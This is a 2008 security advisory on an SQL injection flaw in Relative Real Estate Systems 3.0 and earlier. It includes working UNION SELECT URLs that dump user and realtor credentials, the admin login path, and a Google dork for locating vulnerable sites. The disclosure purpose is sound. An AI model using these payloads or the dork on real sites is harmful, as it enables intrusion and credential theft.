SecurityReason - Relative Real Estate Systems <= 3.0 (listing

Advisory Text :

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| __)_ / \ \// ~ \/ | \
| \\ \___\ Y / | \
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.OR.ID
ECHO_ADV_99$2008

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[ECHO_ADV_99$2008] Relative Real Estate Systems <= 3.0 (listing_id) Sql
Injection Vulnerability
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Author : M.Hasran Addahroni
Date : June, 24 th 2008
Location : Jakarta, Indonesia
Web : http://e-rdc.org/v1/news.php?readmore=101
Critical Lvl : Medium
Impact : System access
Where : From Remote
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Relative Real Estate Systems
version : <= 3.0
Vendor : http://www.dboorn.com/estate/
Description :

Elegant real estate script that allows for unlimited listings and agents
with featured listings,
unlimited photos, advanced search engine, user login option, user tracking,
dynamic slide shows,
Mls/Idx support, multiple agents with photo, mortgage calculator, schools
info, C.M.A.
request form, full admin panel.Requires PHP/Mysql Windows Server or any Web
server with php support.

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Vulnerability:
~~~~~~~~~~~~~

Input passed to the "listing_id" parameter in index.php is not properly
verified before being used
in an sql query.
This can be exploited thru the browser to manipulate SQL queries and pull
the username and password from realtors
and users in plain text.
Successful exploitation requires that "magic_quotes" is off.

Poc/Exploit:
~~~~~~~~~

http://[URL]/[path]/index.php?go=listings&listing_id=-30%20union%20select%2
01,2,3,4,5,6,7,8,concat(id,0x3a,username,0x3a,password,0x3a,email),0,1,2,3,
4,5,6,7,8,9,0,1%20from%20realtors--

http://[URL]/[path]/index.php?go=listings&listing_id=-30%20union%20select%2
01,2,3,4,5,6,7,8,concat(username,0x3a,password),0,1,2,3,4,5,6,7,8,9,0,1%20f
rom%20users--

Admin Login at http://[URL]/[PATH]/Admin/login_index.php

Dork:
~~~~
Google : "index.php?go=listings&listing"

Solution:
~~~~~~

- Edit the source code to ensure that input is properly verified.
- Turn on magic_quotes in php.ini

Timeline:
~~~~~~~~

- 24 - 06 - 2008 bug found
- 24 - 06 - 2008 vendor contacted
- 24 - 06 - 2008 advisory released
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Shoutz:
~~~~
~ ping - my dearest wife, zautha - my little warrior
~
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~ everybody [at] SCAN-NUSANTARA and SCAN-ASSOCIATES
~
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ybertank,
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~
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R,
kuntua, stev_manado,nofry,k1tk4t,0pt1c
~ newbie_hacker@yahoogroups.com
~ #aikmel #e-c-h-o @irc.dal.net

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Contact:
~~~~~

K-159 || echo|staff || eufrato[at]gmail[dot]com
Homepage: http://www.e-rdc.org/

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